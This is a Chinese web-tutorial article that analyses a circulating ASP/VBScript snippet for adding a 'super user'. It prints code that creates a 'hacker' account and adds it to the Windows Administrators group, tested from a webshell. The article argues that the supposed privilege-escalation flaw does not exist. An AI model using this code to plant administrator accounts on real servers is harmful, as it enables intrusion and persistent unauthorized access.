DIV CSS 佈局教程網

 DIV+CSS佈局教程網 >> 網頁腳本 >> JavaScript入門知識 >> AJAX入門 >> AJAX詳解 >> 傳說中添加超級用戶的asp代碼分析
傳說中添加超級用戶的asp代碼分析
編輯:AJAX詳解     
 這個東東弄得沸沸揚揚,要是你還不知道的話就看看《添加超級用戶的.ASP代碼》這文章吧。

    作者也說了,“反正代碼是對的,但是很少能成功,具體的看運氣了”,偶也拿來在webshell上試了試,失敗了。把容錯語句去掉,看到錯誤原因是“權限不夠”。今天沒什麼事,就來分析分析,說不定……嘿嘿。

    他代碼關鍵是這個:

 set lp=Server.CreateObject("WSCRIPT.NetWORK")
 oz="WinNT://"&lp.ComputerName
 Set ob=GetObject(oz)
 Set oe=GetObject(oz&"/Administrators,group")
 Set od=ob.Create("user",username)
 od.SetPassWord passwd
 od.SetInfo
 oe.Add oz&"/"&username

    無非是在ASP中創建一個WSCRIPT.NETWORK對象,用這個對象添加用戶提升為管理員。而按照他們的說法這是利用了.NetWORK對象本地權限提升漏洞(他們說這是MS沒公布的)。嗯,那我把代碼做成一個vbs腳本文件,拿到命令行下試試就知道了。


 test.vbe(vbe比vbs更好;vbs的運行受到諸多限制)
--------------------------------------------
 set lp=CreateObject("WSCRIPT.NetWORK")
 oz="WinNT://"&lp.ComputerName
 Set ob=GetObject(oz)
 Set oe=GetObject(oz&"/Administrators,group")
 Set od=ob.Create("user","hacker")
 od.SetPassWord test
 od.SetInfo
 oe.Add oz&"/"&"hacker"
-------------------------------------------

    在admin權限下生成了hacker用戶;user權限執行文件報錯:拒絕訪問。看來還是權限不夠,即是說不存在所謂的MS未公布的“.NetWORK對象本地權限提升漏洞”——至少我這個XP SP1上不存在。你也可以把上面的代碼保存為vbe拿到user權限下面試試其他系統是否存在這個bug,不過既然這ASP成功的很少可能也不會存在。

    上回日光海岸告訴我如果IIS開了認證這個asp就可以。我在本地把IIS的匿名訪問關閉了,這個腳本果然可以工作。不過此時實際上你的浏覽是具有管理員權限的。想想明明是關了匿名訪問,為什麼沒有彈出對話框讓你輸用戶密碼呢?呵呵,你在本地自然集成Windows基本驗證,此時我是管理員,當然那些ASP也繼承了admin權限。不知道作者是不是在這裡出錯了呢?

 

XML學習教程| jQuery入門知識| AJAX入門| Dreamweaver教程| Fireworks入門知識| SEO技巧| SEO優化集錦|
Copyright © DIV+CSS佈局教程網 All Rights Reserved